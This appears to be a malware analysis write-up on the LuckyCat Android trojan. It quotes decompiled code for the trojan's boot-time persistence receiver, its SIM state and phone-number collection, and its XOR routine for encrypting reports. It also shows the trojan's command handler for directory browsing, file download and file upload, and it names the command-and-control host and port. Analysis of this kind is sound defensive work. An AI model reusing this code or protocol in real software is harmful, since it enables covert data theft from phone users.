Lucky Cat is a Threat?
com.testService
. The APK file name could be AQS.apk
or testService.apk
. Both samples are almost identical - one has a standard Android icon, another one has an 'empty' icon, as shown below:Apart from showing a toast message
Service Start OK!
, LuckyCat does not seem to do much more: com.testService
will take 1,336 Kb in memory. However, once activated, the trojan registers a broadcast receiver that gets triggered on a BOOT_COMPLETED
event:
public synchronized class TServiceBroadcastReceiver extends BroadcastReceiver
{
private static final String ACTION = "android.intent.action.BOOT_COMPLETED";
public TServiceBroadcastReceiver()
{
}
public void onReceive(Context context, Intent intent1)
{
ComponentName componentName;
if (intent1.getAction().equals("android.intent.action.BOOT_COMPLETED"))
{
Intent intent2 = new Intent("android.intent.action.RUN");
Intent intent3 = intent2.setClass(context, TService);
Intent intent4 = intent2.setFlags(268435456);
componentName = context.startService(intent2);
}
}
}
Whenever the device boots up, the trojan will launch its own service
TService
that will run as a process com.testService:remote
, taking 1,060 Kb out of RAM. The trojan reads the state of the device SIM card by calling getSimState()
method, as shown below:
public String getPhoneNumber()
{
StringBuffer stringBuffer1;
String string2;
StringBuffer stringBuffer2;
StringBuffer stringBuffer3;
StringBuffer stringBuffer4;
StringBuffer stringBuffer5;
StringBuffer stringBuffer6;
String string1;
TelephonyManager telephonyManager = (TelephonyManager)getApplicationContext().getSystemService("phone");
stringBuffer1 = new StringBuffer();
switch (telephonyManager.getSimState())
{
case 1:
stringBuffer2 = stringBuffer1.append("\u65e0\u5361");
string2 = stringBuffer1.toString();
break;
case 0:
stringBuffer3 = stringBuffer1.append("\u672a\u77e5\u72b6\u6001");
string2 = stringBuffer1.toString();
break;
case 4:
stringBuffer4 = stringBuffer1.append("\u9700\u8981NetworkPIN\u89e3\u9501");
string2 = stringBuffer1.toString();
break;
case 2:
stringBuffer5 = stringBuffer1.append("\u9700\u8981PIN\u89e3\u9501");
string2 = stringBuffer1.toString();
break;
case 3:
stringBuffer6 = stringBuffer1.append("\u9700\u8981PUK\u89e3\u9501");
string2 = stringBuffer1.toString();
break;
default:
string1 = telephonyManager.getLine1Number();
break;
}
return string1;
}
As shown in the listing above, the reported SIM card states are:
- 无卡 (No card)
- 未知状态 (Unknown state)
- 需要NetworkPIN解锁 (Need Network PIN unlock)
- 需要PIN解锁 (Require a PIN to unlock)
- 需要PUK解锁 (Need PUK to unlock)
- (The phone number string for line 1, e.g. MSISDN for a GSM phone)
greenfuns.3322.org
, port 54321
. The data is compiled into a report that also contains local IP and MAC addresses. The report is wrapped with the strings ejsi2ksz
and 369
, and then encrypted on top with a XOR keys 0x05
and 0x27
:
public void encryptkey(byte[] paramArrayOfByte, int paramInt1, int paramInt2)
{
byte[] arrayOfByte1 = new byte[10240];
byte[] arrayOfByte2 = new byte[4];
Arrays.fill(arrayOfByte1, 0, 10240, 0);
Arrays.fill(arrayOfByte2, 0, 4, 0);
System.arraycopy(paramArrayOfByte, paramInt1, arrayOfByte1, 0, paramInt2);
int i = 0;
if (i >= paramInt2);
while (true)
{
return;
int j = i + 1;
arrayOfByte2[0] = (byte)(0x5 ^ arrayOfByte1[i]);
paramArrayOfByte[(-1 + (paramInt1 + j))] = arrayOfByte2[0];
if (j >= paramInt2)
continue;
i = j + 1;
arrayOfByte2[1] = (byte)(0x27 ^ arrayOfByte1[j]);
paramArrayOfByte[(-1 + (paramInt1 + i))] = arrayOfByte2[1];
if (i < paramInt2)
break;
}
}
As soon as the trojan submits the report to command-and-control server, it receives back response from it. The response is checked to make sure it starts with the marker
ejsi2ksz
. It is then decrypted by calling the same symmetrical function encryptKey()
. The decrypted response is then parsed to see if it contains one out of 5 remote commands:
switch
{
case AR_ONLINEREPORT: goto exit;
case AR_REMOTESHELL: goto exit;
case AR_DIRBROSOW: goto browse_directory;
case AR_FILEDOWNLOAD: goto file_download;
case AR_FILEUPLOAD: goto file_upload;
default: goto exit;
}
exit:
mDbgMsg("+++");
exc1();
socket2 = socket3;
mDbgMsg(exc1.getMessage());
socket2.close();
mDbgMsg("socke close");
exc3();
browse_directory:
i8 = 0 + 64;
int j8 = readU16(array_b, i8);
int k8 = i8 + 2;
String string3 = new String(Arrays.copyOfRange(array_b, k8, j8 + 66), "UTF-8");
Arrays.fill(array_b, 64, 10176, 0);
i9 = GetDirList(string3, array_b, 64);
As seen in the reconstructed source code above, out of 5 remote commands, only 3 are actually implemented:
AR_DIRBROSOW
: directory browsing, handled byGetDirList()
AR_FILEDOWNLOAD
: file download, handled bymReadFileDataFun()
AR_FILEUPLOAD
: file upload, handled bymWriteFileDataFun()
AR_ONLINEREPORT
: 'online report' commandAR_REMOTESHELL
: remote shell execution